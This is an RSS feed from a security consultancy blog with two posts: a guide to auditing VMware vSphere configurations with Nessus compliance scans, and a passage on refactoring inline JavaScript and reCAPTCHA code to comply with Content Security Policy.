<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><!--Generated by Squarespace V5 Site Server v5.13.165 (http://www.squarespace.com) on Fri, 14 Jun 2013 14:37:31 GMT--><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><title>GDS Blog</title><link>http://blog.gdssecurity.com/labs/</link><description /><lastBuildDate>Fri, 14 Jun 2013 14:37:16 +0000</lastBuildDate><copyright>© 2013 Gotham Digital Science All Rights Reserved</copyright><language>en-US</language><generator>Squarespace V5 Site Server v5.13.165 (http://www.squarespace.com)</generator><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/GdsSecurityBlog" /><feedburner:info uri="gdssecurityblog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><title>Using Nessus to Audit VMware vSphere Configurations</title><category>Infrastructure Security</category><category>Nessus</category><category>VMWare</category><dc:creator>Sam Bertram</dc:creator><pubDate>Wed, 05 Jun 2013 16:19:02 +0000</pubDate><link>http://feedproxy.google.com/~r/GdsSecurityBlog/~3/HBA4AM9PWQE/using-nessus-to-audit-vmware-vsphere-configurations.html</link><guid isPermaLink="false">936190:11268292:33530223</guid><description>&lt;p&gt;Nessus has the ability to run compliance checking scripts for many different services and servers, and is a great resource for aligning a server with &amp;#8220;best practice&amp;#8221; server hardening guides, such as those released by the Center for Internet Security (CIS). Recently VMware officially released the &lt;a href="http://blogs.vmware.com/vsphere/2013/04/vsphere-5-1-hardening-guide-official-release.html"&gt;vSphere 5.1 Hardening Guide&lt;/a&gt;, for which Tenable have then released Nessus compliance scripts to check for the recommended configurations. When using these scripts, there are a few forum posts (provided by &lt;a href="https://discussions.nessus.org/thread/5906"&gt;Nessus&lt;/a&gt; and &lt;a href="http://www.tenable.com/blog/new-nessus-vmware-vspherevcenter-audits-now-available"&gt;Tenable&lt;/a&gt;) that provide some information, and although they can collectively provide good enough instructions on how to run the scan, they omit a few details that would have been very handy to know prior to performing these compliance checks.&lt;/p&gt;
&lt;p&gt;So, taking my own experiences with the audit scripts, and merging these with the already available resources, I&amp;#8217;d like to provide others with some straightforward answers to the questions and issues I had when first running the VMware vSphere compliance audit scans.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;How to Perform a Scan&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Our goal is to create a minimal compliance scan that is based around the VMware vSphere Compliance audit, and also reduces the number of plugins required to effectively run the scan. The reason we want to segregate the Policy Compliance scan (although it is not required) is that it will help teach us how to perform the compliance scan as a standalone scan, and can also help troubleshoot issues when learning the new scan type.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Jumping right in, let&amp;rsquo;s create a new Nessus Policy and modify it to fit our needs. Within the Policy, all of the General Settings can remain the same, and we want to modify the Plugins enabled for our new Policy. Only enable the following plugins so the scan will target the VMware Policy Compliance audit.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;General&lt;/li&gt;
&lt;li&gt;Service Detection&lt;/li&gt;
&lt;li&gt;VMware ESX Local Security Checks&lt;/li&gt;
&lt;li&gt;VMware vCenter/vSphere Compliance Check (under &amp;ldquo;Policy Compliance&amp;rdquo;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://blog.gdssecurity.com/storage/vmware_vsphere_blog_1.png?__SQUARESPACE_CACHEVERSION=1367572937116" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The idea of selecting only these Plugins is to greatly reduce the amount of time Nessus will take when all we are concerned with is performing a compliance check scan.&lt;/p&gt;
&lt;p&gt;After configuring the Plugin information, we want to change the Preferences to match our VMware configuration. Under the &amp;ldquo;Preference Type&amp;rdquo; drop-down menu we select &amp;#8220;VMware SOAP API Settings&amp;#8221;.&lt;/p&gt;
&lt;p&gt;&lt;span class="thumbnail-image-block ssNonEditable"&gt;&lt;span&gt;&lt;a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fvmware_vsphere_blog_2.png%3F__SQUARESPACE_CACHEVERSION%3D1367573165654',444,713);"&gt;&lt;img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-22609820-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1367573165654" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Now we fill in the administrative VMware user name and password. If the VMware host is using a self-signed certificate, ensure the &amp;ldquo;Ignore SSL Certificate&amp;rdquo; checkbox is selected&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;span class="thumbnail-image-block ssNonEditable"&gt;&lt;span&gt;&lt;a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fvmware_vsphere_blog_3.png%3F__SQUARESPACE_CACHEVERSION%3D1367573230124',395,760);"&gt;&lt;img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-22609823-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1367573230125" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;After configuring our credentials, the last step to creating a policy is the select the appropriate audit file. Under the &amp;ldquo;Preference Type&amp;rdquo; dropdown, select the &amp;ldquo;VMware vCenter/vSphere Compliance Checks&amp;rdquo; and then browse to the appropriate audit file. We will be using &amp;ldquo;vmware_vsphere_5.x_hardening_guide.audit&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;span class="thumbnail-image-block ssNonEditable"&gt;&lt;span&gt;&lt;a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fvmware_vsphere_blog_4.png%3F__SQUARESPACE_CACHEVERSION%3D1367573321661',486,760);"&gt;&lt;img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-22609828-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1367573321661" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Now that our Policy is created, we need to start a new scan and ensure our VMware host is set as the target. Once the scan has finished, we will see a Compliance option under the Scan Results indicating the VMware Policy Compliance plugin ran properly.&lt;/p&gt;
&lt;p&gt;&lt;span class="thumbnail-image-block ssNonEditable"&gt;&lt;span&gt;&lt;a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fvmware_vsphere_blog_5.png%3F__SQUARESPACE_CACHEVERSION%3D1367573335478',259,960);"&gt;&lt;img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-22609829-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1367573335479" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;Interpreting the Results&lt;/h3&gt;
&lt;p&gt;Now that we have completed a scan of our VMware host we can start to review the results. It&amp;rsquo;s recommended that a copy of the relevant VMware vSphere Hardening Guide is available so that when you&amp;rsquo;re reviewing the results the best practice guide can be referenced. When reviewing the results, under the &amp;ldquo;Reference Information&amp;rdquo; the Profile directory correlates directly to the Profile provided in the hardening guide for each compliance check.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span class="thumbnail-image-block ssNonEditable"&gt;&lt;span&gt;&lt;a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fvmware_vsphere_blog_6.png%3F__SQUARESPACE_CACHEVERSION%3D1367573348272',132,696);"&gt;&lt;img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-22609837-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1367573348273" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The profiles (taken from the VMware Guide) give context as to the type of requirements for your environment, and potentially compliance rules that are unnecessary for your needs.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Profile 3: guidelines that should be implemented in all environments&lt;/li&gt;
&lt;li&gt;Profile 2: guidelines that should be implemented for more sensitive environments, e.g. those handling more sensitive data, those subject to stricter compliance rules, etc&lt;/li&gt;
&lt;li&gt;Profile 1: guidelines that only be implemented in the highest security environments, e.g. top-secret government or military, extremely sensitive data, etc&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When performing a scan using an unconfigured default audit file, one of the first things noticed will be the number of failed compliance rules. Since this is what I&amp;rsquo;ve done for this example, the list will go on for at least 50 failed compliance checks!&lt;/p&gt;
&lt;p&gt;&lt;span class="thumbnail-image-block ssNonEditable"&gt;&lt;span&gt;&lt;a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fvmware_vsphere_blog_7.png%3F__SQUARESPACE_CACHEVERSION%3D1367573360348',338,698);"&gt;&lt;img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-22609839-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1367573360350" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Once we dig deeper in some of the results we realize an un-tuned audit file can provide a poor representation of how our server is hardened. Reviewing the results manually gives us the ability to interpret a few categories of &amp;ldquo;false positives&amp;rdquo; in the sense that the audit cannot be run accurately because it is not configured to the local environment. In most cases, everyone will run the default audit file at least once before realizing that they should have tuned the configuration for their environment. &amp;nbsp;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;No Audit File Tuning&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;When the audit file is not tuned for the environment, all of the variables that are supposed to be set within the configuration will be flagged as failing their compliance checks. When viewing the Description for these false positive checks, you will notice &amp;ldquo;NOTE: Update {VARIABLE} to the appropriate value for the local environment&amp;rdquo; being present.&lt;/p&gt;
&lt;p&gt;&lt;span class="thumbnail-image-block ssNonEditable"&gt;&lt;span&gt;&lt;a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fvmware_vsphere_blog_8.png%3F__SQUARESPACE_CACHEVERSION%3D1367573372776',782,718);"&gt;&lt;img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-22609840-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1367573372777" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In order to correct these results, every variable that is supposed to be customized for the local environment will have to be set. This is done by modifying the original audit file that was added to the Policy.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;VMware Tools Not Installed&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;If VMware Tools are not installed on the Virtual Machines, there will be the occurrence of &amp;ldquo;toolsNotFound&amp;rdquo; found within the Affected Host List. This information is much easier to view if the Nessus scan results have been exported to HTML first, and I recommend exporting the results to HTML and viewing them within Nessus at the same time, especially when scanning multiple hosts.&lt;/p&gt;
&lt;p&gt;&lt;span class="thumbnail-image-block ssNonEditable"&gt;&lt;span&gt;&lt;a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fvmware_vsphere_blog_10.png%3F__SQUARESPACE_CACHEVERSION%3D1367573384578',275,718);"&gt;&lt;img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-22609844-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1367573384579" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This can be fixed in one of two ways, by either installing VMware Tools on the guest operating system (which isn&amp;rsquo;t necessarily ideal for each situation), or by editing the audit file and remove the compliance checks that require VMware Tools.&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Tips &amp;amp; Tricks&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The following are some of the &amp;ldquo;gotchas&amp;rdquo; and things I wish I had known before performing these scans in test and production environments. These tips will hopefully reduce some confusion when interpreting the results, and ensuring the scan has run properly.&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If there are multiple audit files selected during the compliance review under the &amp;ldquo;VMware vCenter/vSphere Compliance Checks&amp;rdquo;, they will not be able to be separated under the Nessus results because they will have the same plugin ID #64455. This can be problematic when the audit files are not configured properly because you cannot filter on each of the separate audit file&amp;rsquo;s results.&lt;/li&gt;
&lt;li&gt;If you use multiple audit files when creating the Policy (as recommended by the Nessus forums), there will be duplicate entries within the compliance checks. Because you can&amp;rsquo;t separate the results this becomes even more problematic, and a better thing to do would be to use each audit file separately for a separate Policy until they are properly tuned.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;You can test your credentials by installing and configuring the vSphere Client and attempting to authenticate using the client as one option. But, if this is not installed on your machine, you can&amp;rsquo;t install it, or don&amp;rsquo;t want to install it, a quicker test to see if your username and password are correct, and to verify that &amp;nbsp;VMware vSphere is running the API, is to navigate to the /mob directory of the target.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class="thumbnail-image-block ssNonEditable"&gt;&lt;span&gt;&lt;a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fvmware_vsphere_blog_11.png%3F__SQUARESPACE_CACHEVERSION%3D1367573398748',170,587);"&gt;&lt;img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-22609846-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1367573398749" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Once properly authenticated you will be presented with the API interface.&lt;/p&gt;
&lt;p&gt;&lt;span class="thumbnail-image-block ssNonEditable"&gt;&lt;span&gt;&lt;a href="javascript:showFullImage('/display/ShowImage?imageUrl=%2Fstorage%2Fvmware_vsphere_blog_12.png%3F__SQUARESPACE_CACHEVERSION%3D1367573413066',242,665);"&gt;&lt;img src="http://blog.gdssecurity.com/storage/thumbnails/10864171-22609850-thumbnail.jpg?__SQUARESPACE_CACHEVERSION=1367573413066" alt="" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This is a useful test when the credentials are being supplied by an external party, or are particularly long (and easy to fat-finger).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When creating the VMware vSphere Policy, it must be adjusted for every unique username and password combination for each host. So, if you are scanning multiple hosts and they do not have the same username and password, the Nessus Policy will have to be updated for each host scanned.&lt;/li&gt;
&lt;li&gt;If you&amp;rsquo;ve run a scan and want to filter out Compliance Check results more efficiently to match the hardening guide, a suggestion is to export the data to a CSV file and open it with a spreadsheet application that can use more complex filtering requirements that Nessus does not provide:                  
&lt;ul&gt;
&lt;li&gt;Plugin ID is 64455 (vSphere Compliance Plugin ID)&lt;/li&gt;
&lt;li&gt;AND Contains FAILED in the Description&lt;/li&gt;
&lt;li&gt;AND does not contain &amp;#8220;update {&amp;#8221; in the Description&lt;/li&gt;
&lt;li&gt;AND does not contain &amp;#8220;NOT found&amp;#8221; in the Description&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This will omit the false positives that occur from a lack of an audit file configuration and can provide you with a quick-win before you have the ability to properly configure the audit file for the local environment.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=HBA4AM9PWQE:EQ8fuyEtaJw:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=HBA4AM9PWQE:EQ8fuyEtaJw:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?i=HBA4AM9PWQE:EQ8fuyEtaJw:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=HBA4AM9PWQE:EQ8fuyEtaJw:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-33530223.xml</wfw:commentRss><feedburner:origLink>http://blog.gdssecurity.com/labs/2013/6/5/using-nessus-to-audit-vmware-vsphere-configurations.html</feedburner:origLink></item><item><title>Retrofitting Code for Content Security Policy</title><dc:creator>Erik Larsson</dc:creator><pubDate>Tue, 14 May 2013 12:09:35 +0000</pubDate><link>http://feedproxy.google.com/~r/GdsSecurityBlog/~3/3WGKMziKeb0/retrofitting-code-for-content-security-policy.html</link><guid isPermaLink="false">936190:11268292:33713698</guid><description>&lt;p&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&lt;span style="font-size: 80%;"&gt;Note: This post has been crossposted from the&amp;nbsp;&lt;a href="http://blog.sendsafely.com/"&gt;SendSafely blog&lt;/a&gt;. You can find the original post at &lt;a href="http://blog.sendsafely.com/post/50303516209/retrofitting-code-for-content-security-policy"&gt;http://blog.sendsafely.com/post/50303516209/retrofitting-code-for-content-security-policy&lt;/a&gt;. &lt;/span&gt;&amp;nbsp;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In a previous blog post we shared how SendSafely uses Content Security Policy to minimize the risk of Cross-Site Scripting, commonly referred to as XSS (if you didn&amp;rsquo;t catch this post, you can check it out&amp;nbsp;&lt;a href="https://blog.gdssecurity.com/labs/2013/2/5/using-content-security-policy-to-prevent-cross-site-scriptin.html"&gt;here&lt;/a&gt;). While it would have been easiest to design our site to use CSP from the beginning, the initial version of our website grew out of an internal research project and was not so fortunate. As a result, we needed to refactor a lot of our UI code to comply with a strict CSP. Specifically, we needed to get rid of the following two patterns that were fairly pervasive in our code: &amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong class="Apple-style-span" style="font-weight: bold;"&gt;Inline scripting. &lt;/strong&gt;A sound CSP does not allow HTML and JavaScript to co-exist in the same document. &amp;nbsp;Prior to CSP, we had a lot of in-line scripts.&lt;/li&gt;
&lt;li&gt;&lt;strong class="Apple-style-span" style="font-weight: bold;"&gt;Script code served from the same host. &lt;/strong&gt;CSP best practices dictate that scripts should only run from a dedicated sub-domain that serves static content. &amp;nbsp;&amp;nbsp;This means that JavaScript not only needs to be in separate files, but also served from a completely different host. &amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Given the above requirements, we needed to figure out an efficient way to convert our existing UI code. &amp;nbsp;As it turned out, our code followed a few simple patterns. Once we came up with a methodical way to convert each pattern, we had a game plan for moving forward with the site-wide conversion.&lt;br /&gt;&lt;br /&gt;&lt;strong class="Apple-style-span" style="font-weight: bold;"&gt;Common Code Patterns&lt;br /&gt;&lt;/strong&gt;When we analyzed HTML our code to see how we were using Javascript, we were broadly able to categorize about 90% of our use cases into two buckets:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Links or tag events that called no-arg functions:&lt;br /&gt;&lt;em&gt;&amp;lt;a href=&amp;rdquo;javascript:doSomething()&amp;rdquo;&amp;gt;Do something&amp;lt;/a&amp;gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Links or tag events that called functions with one or more arguments:&lt;br /&gt;&lt;em&gt;&amp;lt;type=&amp;rdquo;text&amp;rdquo; name=&amp;rdquo;email&amp;rdquo; onkeyup=&amp;rdquo;doSomethingElse(arg1, arg2)&amp;rdquo;&amp;gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The first case was simple. For elements that previously called a function on a specific event or on a click, we started by giving them a unique element id. Then, in the JavaScript code that loads from our static domain, we have a routine that always fires and looks specifically for each relevant id and programmatically registers the event on that element. So, for example, the first sample we showed you above would get converted to the following HTML (on our dynamic domain) and JavaScript (loaded from the static domain).&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;HTML:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; &amp;lt;a id=&amp;rdquo;my-link&amp;rdquo;&amp;gt;Do something&amp;lt;/a&amp;gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;JavaScript:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; var link = document.getElementById(&amp;ldquo;my-link&amp;rdquo;);&lt;br /&gt;&lt;/em&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; link.addEventListener(&amp;ldquo;click&amp;rdquo;, doSomething, false);&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;If you use JQuery (like we do) it can be done in a slightly more elegant fashion:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; $(&amp;ldquo;#my-link&amp;rdquo;).click(function() {&lt;br /&gt;&lt;/em&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; doSomething();&lt;br /&gt;&lt;/em&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; });&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The second case is not quite as simple, but still relatively straightforward. The main difference between the first and second case is that we need to pass arguments into the JavaScript function. One of the most widely supported (and earliest adopted) parts of the HTML5 spec across all browsers is the data-* element. It&amp;rsquo;s supported by all major browsers and has been for some time (&lt;a href="http://caniuse.com/#feat=dataset"&gt;http://caniuse.com/#feat=dataset&lt;/a&gt;). &amp;nbsp;This allows us to declare data attributes on a given HTML element that can be referenced elsewhere by JavaScript, so they are perfect for holding the values we were previously passing in as function arguments.&amp;nbsp; We use the same technique as before to register the click event, but also include references to the data-* attributes in the function call. &amp;nbsp;So, going back to our example, the second sample we showed you would get converted to the following HTML (on our dynamic domain) and JavaScript (loaded from the static domain).&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;HTML:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; &amp;lt;type=&amp;rdquo;text&amp;rdquo; id=&amp;rdquo;my-email-field&amp;rdquo; name=&amp;rdquo;email&amp;rdquo; data-arg-one=&amp;rdquo;arg1&amp;rdquo; data-arg-two=&amp;rdquo;arg2&amp;rdquo;&amp;gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;JavaScript (JQuery):&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; $(&amp;ldquo;#my-email-field&amp;rdquo;).keyup(function() {&lt;/em&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;doSomethingElse(this.getAttribute(&amp;ldquo;data-arg-one&amp;rdquo;), this.getAttribute(&amp;ldquo;data-arg-two&amp;rdquo;));&lt;/em&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt; });&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong class="Apple-style-span" style="font-weight: bold;"&gt;Web Workers&lt;br /&gt;&lt;/strong&gt;Unfortunately not all of our JavaScript was covered by the above two examples. One of the more notable exceptions to this was how to incorporate&amp;nbsp;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;HTML5 Web Workers&lt;/em&gt;&amp;nbsp;into our policy. We use web workers when we encrypt and decrypt files using JavaScript since CPU intensive operations like that would cause the entire browser UI to freeze-up during the process (which can take anywhere from a few seconds to several minutes). &amp;nbsp;As it currently stands, most browsers require that web workers execute from JavaScript on the same domain that the page is loaded from. So, in the case of our website, pages loaded from&amp;nbsp;&lt;strong class="Apple-style-span" style="font-weight: bold;"&gt;www&lt;/strong&gt;.sendsafely.com cannot run a web worker loaded from&amp;nbsp;&lt;strong class="Apple-style-span" style="font-weight: bold;"&gt;static&lt;/strong&gt;.sendsafely.com. This is less than ideal from a security perspective since it requires an exception to our otherwise tight CSP. &amp;nbsp;&lt;/p&gt;
&lt;p&gt;In order to minimize the places where this exception is allowed, we defined a slightly looser policy for the two URLS that we use for sending (encrypting) and receiving (decrypting) files. Unlike other URLs on our site, these two pages allow scripts originating from the dynamic server to execute. We still don&amp;rsquo;t allow in-line scripting, so the exposure on these pages is still somewhat minimal since a separate file still needs to be loaded from the same server. For now it seems we will need to live with this approach until a solution for loading web workers from a separate domain is possible.&lt;/p&gt;
&lt;p&gt;&lt;strong class="Apple-style-span" style="font-weight: bold;"&gt;Third Party Scripts (reCAPTCHA)&lt;br /&gt;&lt;/strong&gt;Like many sites, SendSafely uses reCAPTCHA to prevent bots and other automated processes from interacting with certain parts of our application. The reCAPTCHA AJAX API requires us to load certain scripts and images from Google servers (specifically from&amp;nbsp;&lt;a href="http://www.google.com/recaptcha/"&gt;www.google.com/recaptcha/&lt;/a&gt;), which forced us to include&amp;nbsp;&lt;a href="http://www.google.com/"&gt;www.google.com&lt;/a&gt;&amp;nbsp;in our CSP (refer to the previous post to see how we&amp;rsquo;ve done that). In an ideal world, that would be the only change needed, but life is rarely that simple.&lt;/p&gt;
&lt;p&gt;Unfortunately, it doesn&amp;rsquo;t look like the reCAPTCHA AJAX API plays nicely with CSP since it doesn&amp;rsquo;t run without the inline-scripts and unsafe-eval directives. Out of all the CSP directives to allow, these two create a huge increase in attack surface since they expose a wide variety of XSS attack variants. To better understand why the reCAPTCHA AJAX API requires these directives, let&amp;rsquo;s take a closer look at the two steps needed to implement the API (taken from&lt;a href="https://developers.google.com/recaptcha/docs/display"&gt;https://developers.google.com/recaptcha/docs/display&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;Step 1: Load the API JavaScript from Google&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&lt;/em&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; &amp;lt;script type=&amp;rdquo;text/javascript&amp;rdquo;&lt;br /&gt;&lt;/em&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; src=&amp;rdquo;http://www.google.com/recaptcha/api/js/recaptcha_ajax.js&amp;rdquo;&lt;br /&gt;&lt;/em&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; &amp;lt;/script&amp;gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;Step 2: &lt;/span&gt;&lt;span class="Apple-style-span"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;Display the CAPTCHA using the following code&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; Recaptcha.create(&amp;ldquo;your_public_key&amp;rdquo;,&lt;br /&gt;&lt;/em&gt;&lt;span style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;ldquo;element_id&amp;rdquo;,&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; theme: &amp;ldquo;red&amp;rdquo;,&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; callback: Recaptcha.focus_response_field&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;span style="font-style: italic;"&gt;);&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;At their surface, both steps seem easy to run with CSP. The problem, however, lies in the contents of&lt;em class="Apple-style-span" style="font-style: italic;"&gt;recaptcha_ajax.js. &lt;/em&gt;Specifically, the following three code patterns are present in this file and unless re-factored require inline-scripts and unsafe-eval permissions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inline Event Handler Definitions&lt;/li&gt;
&lt;li&gt;Inline Script within HREF Attributes&lt;/li&gt;
&lt;li&gt;Use of String-to-Code in Function Calls&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After some research and initial attempts to (unsuccessfully) contact the reCAPTCHA team at Google, we decided to take a stab at re-factoring some of the code to make it CSP friendly. Refactoring third party code is never ideal, but if we could restrict our changes to just presentation-level code and not touch the code that invokes the server API, we minimize the risk of introducing any breaking changes going forward. &amp;nbsp;&lt;/p&gt;
